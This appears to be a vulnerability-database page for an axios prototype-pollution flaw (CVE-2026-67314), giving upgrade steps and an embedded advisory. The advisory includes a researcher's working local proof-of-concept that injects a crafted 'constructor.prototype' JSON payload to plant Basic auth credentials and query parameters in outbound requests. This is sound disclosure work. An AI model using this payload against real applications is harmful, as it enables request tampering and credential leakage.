CVE-2026-67314: Axios Prototype Pollution Auth Subfields Can Vulnerability
MODERATECVE-2026-67314 is a MODERATE prototype pollution auth subfields can vulnerability (CWE-1321: Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution')) affecting Axios libraries in the npm ecosystem. The issue involves prototype pollution auth subfields can inject basic auth. Remediation is available by upgrading affected packages to version 1.18.0.
CVE-2026-67314 at a Glance
How to Fix CVE-2026-67314
To remediate this vulnerability, upgrade all affected Axios dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
npm install axios@1.18.0
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
npm ls axios
How to Check if You Are Affected
To determine whether your Node.js application is affected by CVE-2026-67314, inspect your project dependencies using npm:
npm ls axios
Analyze the terminal output to locate any version of Axios in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 1.18.0), your application is affected.
Note: The npm ls axios command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-1321: Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution'), where the product receives input from an upstream component that specifies attributes that are to be initialized or updated in an object, but it does not properly control modifications of attributes of the object prototype. In Axios, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-67314 Affected Axios Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
axios
|
npm |
≥ 1.15.2
< 1.18.0
|
1.18.0
|
References
Frequently Asked Questions
What is CVE-2026-67314?
Which Axios versions are affected?
What version fixes CVE-2026-67314?
Is axios affected?
What CWE is associated with CVE-2026-67314?
How can I check npm dependencies for CVE-2026-67314?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-xj6q-8x83-jv6g",
"modified" : "2026-08-07T17:52:10Z",
"published" : "2026-07-20T17:51:17Z",
"aliases" : [ "CVE-2026-67314" ],
"summary" : "Axios: Prototype pollution auth subfields can inject Basic auth",
"details" : "## Summary\n\nAxios versions after the `GHSA-q8qp-cvcw-x6jj` fix still contain prototype-pollution read-side gadgets in Basic auth subfield handling. If a host application is already affected by prototype pollution and then makes an axios request with an own `auth` object that omits `username` or `password`, axios reads inherited `Object.prototype.username` and `Object.prototype.password` values and uses them to construct an outbound `Authorization: Basic ...` header.\n\nThis does not mean axios itself pollutes prototypes. Exploitation requires a separate prototype-pollution primitive in the host process, plus an axios call pattern such as `auth: opts.auth || {}`.\n\n## Impact\n\nAn attacker who can pollute `Object.prototype.username` and/or `Object.prototype.password` can influence the Basic auth header on affected axios requests that pass an empty or partial own `auth` object.\n\nThe practical impact is outbound request tampering. The attacker can inject attacker-chosen Basic auth credentials, replace an existing `Authorization` header because axios removes it when `auth` is used, or cause downstream authorization failures.\n\nThis should not be described as automatic credential exfiltration. In the minimal reproduced case, the Basic auth values are attacker-controlled values, not secrets read from axios. Credential disclosure requires an additional application-specific condition, such as a request destination observable by the attacker and a partial real auth object with a missing polluted subfield.\n\n## Affected Functionality\n\nAffected functionality:\n\n- Node HTTP adapter Basic auth handling in `lib/adapters/http.js`.\n- Browser, web worker, React Native, and fetch shared resolver Basic auth handling in `lib/helpers/resolveConfig.js`.\n- Requests where `config.auth` is an own object but `username` and/or `password` are absent own properties.\n\nUnaffected or not accepted as core impact:\n\n- Requests with no own `auth` object after `mergeConfig()`.\n- Requests with own `auth.username` and `auth.password` values.\n- Normal axios request flow for inherited top-level `params` / `paramsSerializer` after the null-prototype `mergeConfig()` hardening.\n- Attacker-controlled `paramsSerializer` functions from JSON-only prototype pollution, because JSON pollution cannot create functions. If attacker-controlled code can install functions in the process, that is outside axios’ runtime boundary.\n\n## Technical Details\n\n`mergeConfig()` returns a null-prototype top-level config object, which prevents top-level reads such as `config.auth` from inheriting polluted values. However, nested plain objects returned by `utils.merge()` still have `Object.prototype`.\n\nIn `lib/adapters/http.js`, axios correctly reads the top-level `auth` value through `own('auth')`, but then reads subfields directly:\n\n```js\nconst configAuth = own('auth');\nif (configAuth) {\n const username = configAuth.username || '';\n const password = configAuth.password || '';\n auth = username + ':' + password;\n}\n```\n\nIf the caller passes auth: {} and Object.prototype.username/password are polluted, those direct subfield reads walk the prototype chain.\n\nThe same pattern exists in `lib/helpers/resolveConfig.js`:\n```js\nif (auth) {\n headers.set(\n 'Authorization',\n 'Basic ' +\n btoa((auth.username || '') + ':' + (auth.password ? encodeUTF8(auth.password) : ''))\n );\n}\n```\n\nThe fix should guard `username` and `password` with `utils.hasOwnProp`, matching the proxy-auth pattern already used elsewhere.\n\n## Proof of Concept of Attack\n\nSafe local PoC against published `axios@1.16.1`:\n\n```js\nconst http = require('node:http');\nconst axios = require('axios');\n\nObject.prototype.username = 'victim-user';\nObject.prototype.password = 'victim-password-leaked';\n\nconst server = http.createServer((req, res) => {\n console.log({\n url: req.url,\n authorization: req.headers.authorization || null\n });\n\n res.end('{}');\n server.close(() => {\n delete Object.prototype.username;\n delete Object.prototype.password;\n });\n});\n\nserver.listen(0, '127.0.0.1', async () => {\n await axios.get(`http://127.0.0.1:${server.address().port}/api`, {\n auth: {}\n });\n});\n```\n\nExpected output:\n\n```json\n{\n \"url\": \"/api\",\n \"authorization\": \"Basic dmljdGltLXVzZXI6dmljdGltLXBhc3N3b3JkLWxlYWtlZA==\"\n}\n```\n\nThe base64 value decodes to `victim-user:victim-password-leaked`.\n\n## Workarounds\nAvoid passing empty or partial `auth` objects. Only set `auth` when the application has own username and password values.\n\nApplications that merge untrusted input should filter `__proto__`, `constructor`, and `prototype`, and should read optional user options with own-property checks rather than `opts.auth || {}`.\n\nWhere a wrapper must materialize optional auth, use a null-prototype object or explicitly copy only own fields.\n\n<details>\n<summary>Original Report</summary>\n\n### Summary\n\nAfter [GHSA-q8qp-cvcw-x6jj](https://github.com/axios/axios/security/advisories/GHSA-q8qp-cvcw-x6jj) / [PR #10779](https://github.com/axios/axios/pull/10779) (shipped in `v1.15.2`) and the further proxy-side hardening in\n[PR #10833](https://github.com/axios/axios/pull/10833) (merged 2026-05-02), the **top-level** `config.auth` and the **proxy auth**sub-fields are correctly read via `utils.hasOwnProp`. The **regular request auth sub-fields** (`config.auth.username` and `config.auth.password`) and the **`config.params` / `config.paramsSerializer`** reads inside `resolveConfig.js` are still unguarded against a polluted `Object.prototype`.\n\nWhen a polluted host process makes an axios call with the common \"optional override\" pattern (`auth: opts.auth || {}` — an empty own `{}`), the sub-field reads `configAuth.username` and `configAuth.password` walk the prototype chain and return the attacker-controlled values. Same for `params` and `paramsSerializer`. The outbound HTTP request then carries an attacker-chosen `Authorization: Basic <base64>` header and an attacker-chosen querystring, leaking credentials and exfiltrating data to whichever host the request goes to (often attacker-influenced too — i.e. the amplifier is wired into many credential-stuffing chains).\n\nReproduces against `axios` `main` HEAD (`34723be`, dated 2026-05-24)\nas well as the released `v1.16.1`.\n\n### Details\n\n**Three still-unguarded read sites** on `main` HEAD:\n\n**(1) `lib/adapters/http.js` lines 737–740** (Node http adapter):\n\n```js\nconst configAuth = own('auth'); // ← top-level guard OK\nif (configAuth) {\n const username = configAuth.username || ''; // ← reads .username on the inherited chain\n const password = configAuth.password || ''; // ← reads .password on the inherited chain\n auth = username + ':' + password;\n}\n```\n\n`own('auth')` correctly applies `hasOwnProp` to the top-level `auth`\nkey. But once `configAuth` is the empty object the caller passed\n(`auth: {}`), `configAuth.username` walks the prototype chain and\npicks up `Object.prototype.username`.\n\nContrast with the proxy-auth path that PR #10833 fixed (lines 322–324):\n\n```js\nconst authUsername =\n authIsObject && utils.hasOwnProp(proxyAuth, 'username') ? proxyAuth.username : undefined;\nconst authPassword =\n authIsObject && utils.hasOwnProp(proxyAuth, 'password') ? proxyAuth.password : undefined;\n```\n\nThis is the exact pattern needed at lines 739–740 too.\n\n**(2) `lib/helpers/resolveConfig.js` lines 50 + 68** (xhr/fetch adapter shared resolver):\n\n```js\nconst auth = own('auth'); // ← top-level guard OK\n...\nbtoa((auth.username || '') + ':' + (auth.password ? encodeUTF8(auth.password) : ''))\n// ^ .username and .password read directly on `auth`, no hasOwnProp guard\n```\n\nSame shape — top-level guarded, sub-fields walk prototype.\n\n**(3) `lib/helpers/resolveConfig.js` lines 58–59** (params + paramsSerializer):\n\n```js\nnewConfig.url = buildURL(\n buildFullPath(baseURL, url, allowAbsoluteUrls),\n config.params, // ← direct read, not through own()\n config.paramsSerializer // ← direct read, not through own()\n);\n```\n\nThis third site is already proposed for fix in **open** [PR #10922](https://github.com/axios/axios/pull/10922) by @Mohammad-Faiz-Cloud-Engineer (status: open, currently mergeable: false). That PR's `own('params')` / `own('paramsSerializer')` change is exactly correct; this report flags the auth sub-field sites that PR #10922 does **not** cover.\n\n### PoC\n\nThis PoC contains zero direct `Object.prototype.x = y` writes. The\npollution flows entirely from attacker-shaped JSON through a real\ndeep-merge utility (`defaults-deep@0.2.4`, ~50k weekly downloads,\nstill walks `constructor.prototype`). A hand-rolled deep merge —\nthe canonical insecure backend pattern — exhibits the same pollution\nvia `__proto__` and is more common in real codebases than any named\nutility.\n\n```js\n#!/usr/bin/env node\n'use strict';\n\nconst http = require('node:http');\nconst axios = require('axios');\nconst defaultsDeep = require('defaults-deep');\n\n// Defensive: scrub any prior pollution\nconst PROTO_KEYS = ['username', 'password', 'params', 'paramsSerializer'];\nfunction scrub() {\n for (const k of PROTO_KEYS) {\n try { delete Object.prototype[k]; } catch (_) {}\n }\n}\nscrub();\n\n// 1) Attacker input — what JSON.parse(req.body) would yield from an HTTP POST\nconst attackerBody = JSON.parse(`{\n \"constructor\": {\n \"prototype\": {\n \"username\": \"victim-user\",\n \"password\": \"victim-password-leaked\",\n \"params\": {\"leak\": \"ATTACKER_QUERY_TOKEN\"}\n }\n }\n}`);\n\n// 2) Realistic application pattern: merge user options into defaults\nconst appDefaults = { timeout: 5000 };\ndefaultsDeep(appDefaults, attackerBody);\n// After this line:\n// Object.prototype.username === \"victim-user\"\n// Object.prototype.password === \"victim-password-leaked\"\n// Object.prototype.params === { leak: \"ATTACKER_QUERY_TOKEN\" }\n\n// 3) Capture outbound request on a local listener\nconst server = http.createServer((req, res) => {\n console.log('=== captured outbound request ===');\n console.log(JSON.stringify({\n method: req.method,\n url: req.url,\n authorization: req.headers.authorization || null,\n }, null, 2));\n res.end('{}');\n server.close();\n scrub();\n});\n\nserver.listen(0, '127.0.0.1', () => {\n const port = server.address().port;\n\n // 4) Realistic application wrapper: optional per-call overrides.\n // `auth: opts.auth || {}` is the common pattern — empty own object,\n // but inherited values walk the prototype chain.\n function makeRequest(targetUrl, opts = {}) {\n return axios.get(targetUrl, {\n timeout: 5000,\n auth: opts.auth || {},\n params: opts.params || {},\n });\n }\n\n makeRequest(`http://127.0.0.1:${port}/api/widget`).catch((e) => {\n console.error('axios error:', e.message);\n scrub();\n process.exit(1);\n });\n});\n```\n\nReproduction:\n\n```bash\nmkdir /tmp/axios-poc && cd /tmp/axios-poc\nnpm init -y\nnpm install axios@1.16.1 defaults-deep@0.2.4\nnode /path/to/poc.cjs\n```\n\nCaptured output (verified against released `1.16.1` AND against\n`main` at `34723be`, 2026-05-24):\n\n```json\n{\n \"method\": \"GET\",\n \"url\": \"/api/widget?leak=ATTACKER_QUERY_TOKEN\",\n \"authorization\": \"Basic dmljdGltLXVzZXI6dmljdGltLXBhc3N3b3JkLWxlYWtlZA==\"\n}\n```\n\n`dmljdGltLXVzZXI6dmljdGltLXBhc3N3b3JkLWxlYWtlZA==` base64-decodes to\n`victim-user:victim-password-leaked`. The querystring carries\n`?leak=ATTACKER_QUERY_TOKEN`, which can be a full data-exfil channel\nin real chains (CSRF token, session cookie via `req.headers`, etc.).\n\n### Impact\n\n- **Credential exfiltration** via Basic auth header on the outbound\n request. If the request URL is attacker-influenced too (common in\n webhook/oauth-callback patterns), the credentials flow directly to\n the attacker. If not, they flow to the legitimate destination but\n expose victim credentials in any logs / proxies along the path.\n- **Outbound request-shape control** via inherited `params` /\n `paramsSerializer`. With `paramsSerializer` polluted to an attacker\n function, axios will execute that function with each `params`\n invocation — same-process code execution from a pollution primitive.\n- **Amplifier framing** is still correct. The application-side\n precondition is \"deep-merges attacker JSON into a config object\n without `__proto__`/`constructor` filtering, then uses the empty-\n fallback wrapper `auth: opts.auth || {}` / `params: opts.params || {}`.\"\n Both halves are very common in real codebases (we tested\n `defaults-deep`, hand-rolled merges, and several lodash-family\n utilities; many still pollute).\n- **CWE-1321** (Improperly Controlled Modification of Object Prototype\n Attributes — amplifier sink).\n\n### Proposed fix\n\nTwo-line change in `http.js`, matching the proxy-auth pattern PR\n#10833 already established:\n\n```diff\n--- a/lib/adapters/http.js\n+++ b/lib/adapters/http.js\n@@ -737,8 +737,10 @@\n const configAuth = own('auth');\n if (configAuth) {\n- const username = configAuth.username || '';\n- const password = configAuth.password || '';\n+ const username = utils.hasOwnProp(configAuth, 'username') ? (configAuth.username || '') : '';\n+ const password = utils.hasOwnProp(configAuth, 'password') ? (configAuth.password || '') : '';\n auth = username + ':' + password;\n }\n```\n\nSame pattern in `resolveConfig.js`:\n\n```diff\n--- a/lib/helpers/resolveConfig.js\n+++ b/lib/helpers/resolveConfig.js\n@@ -64,7 +64,11 @@\n // HTTP basic authentication\n if (auth) {\n+ const authUsername = utils.hasOwnProp(auth, 'username') ? (auth.username || '') : '';\n+ const authPassword = utils.hasOwnProp(auth, 'password') ? auth.password : '';\n headers.set(\n 'Authorization',\n 'Basic ' +\n- btoa((auth.username || '') + ':' + (auth.password ? encodeUTF8(auth.password) : ''))\n+ btoa(authUsername + ':' + (authPassword ? encodeUTF8(authPassword) : ''))\n );\n }\n```\n\nThe **`params` / `paramsSerializer`** half is already handled by open\nPR #10922's `own('params')` / `own('paramsSerializer')` change — that\nPR should be rebased / merged.\n\n### Relationship to recent prototype-pollution work\n\nSame vulnerability class as the existing public hardening, just at\nsub-field granularity:\n\n- [GHSA-q8qp-cvcw-x6jj](https://github.com/axios/axios/security/advisories/GHSA-q8qp-cvcw-x6jj) / [PR #10779](https://github.com/axios/axios/pull/10779) — `mergeConfig` direct-key reads. **Fixed in v1.15.2.**\n- [PR #10761](https://github.com/axios/axios/pull/10761) — `mergeDirectKeys` `in` → `hasOwnProp`. **Fixed in v1.15.x.**\n- [PR #10833](https://github.com/axios/axios/pull/10833) — proxy `auth.username/password` sub-fields. **Fixed post-1.16.1.**\n- [PR #7413](https://github.com/axios/axios/pull/7413) — `formDataToJSON` defense-in-depth. **Fixed post-1.16.1.**\n- [PR #10901](https://github.com/axios/axios/pull/10901) — `socketPath` guard. **Merged 2026-05-24.**\n- [PR #10922 (OPEN)](https://github.com/axios/axios/pull/10922) — `params` / `paramsSerializer` `own()` guard. **Proposed; not merged.**\n\nThis report adds: regular-request `auth.username` / `auth.password`\nsub-field reads in both the http adapter (lines 737–740) and\nresolveConfig.js (line 68).\n\n### Reporter notes\n\n- Reported as part of a small peer-review bundle of runtime security\n findings. The bundle's public tracking entry (without the working\n exploit chain) is at\n [`georgian-io/package-runtime-security-findings/advisories/AXIOS-002-prototype-pollution-config-fields.md`](https://github.com/georgian-io/package-runtime-security-findings/blob/main/advisories/AXIOS-002-prototype-pollution-config-fields.md).\n- I'm happy to submit the patch as a PR if that helps. Or, if you'd\n prefer to fold this into open PR #10922 (whose author is actively\n responding to comments), please let me know and I'll coordinate.\n- Threat model honesty: this is **amplifier framing** — exploitation\n requires a separate prototype-pollution primitive elsewhere in the\n host process. That's how the existing GHSA-q8qp-cvcw-x6jj and\n PR #10833 were framed too, so the precedent for \"in-scope as a\n hardening fix\" is established.\n</details>",
"severity" : [ {
"type" : "CVSS_V4",
"score" : "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:L/SC:N/SI:N/SA:N"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "npm",
"name" : "axios"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "1.15.2"
}, {
"fixed" : "1.18.0"
} ]
} ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/axios/axios/security/advisories/GHSA-xj6q-8x83-jv6g"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-67314"
}, {
"type" : "WEB",
"url" : "https://github.com/axios/axios/pull/11000"
}, {
"type" : "WEB",
"url" : "https://github.com/axios/axios/commit/32fc489632377d214db55bfa4e2c48486a7d7ce2"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/axios/axios"
}, {
"type" : "WEB",
"url" : "https://github.com/axios/axios/releases/tag/v1.18.0"
}, {
"type" : "WEB",
"url" : "https://www.vulncheck.com/advisories/axios-before-prototype-pollution-via-auth-subfields"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-1321" ],
"severity" : "MODERATE",
"github_reviewed" : true,
"github_reviewed_at" : "2026-07-20T17:51:17Z",
"nvd_published_at" : "2026-08-06T22:18:25Z"
}
}